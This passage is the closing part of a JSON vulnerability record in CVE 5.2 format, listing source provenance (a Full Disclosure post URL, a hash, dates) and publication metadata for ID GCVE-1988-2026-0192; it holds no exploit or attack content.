            "contentSha256": "152b1c969b48c806c1bafb6a5fa4712c01bed7877aa0043ee74c1e276038462f",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-26T10:22:04Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0192"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T13:32:44Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0192"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}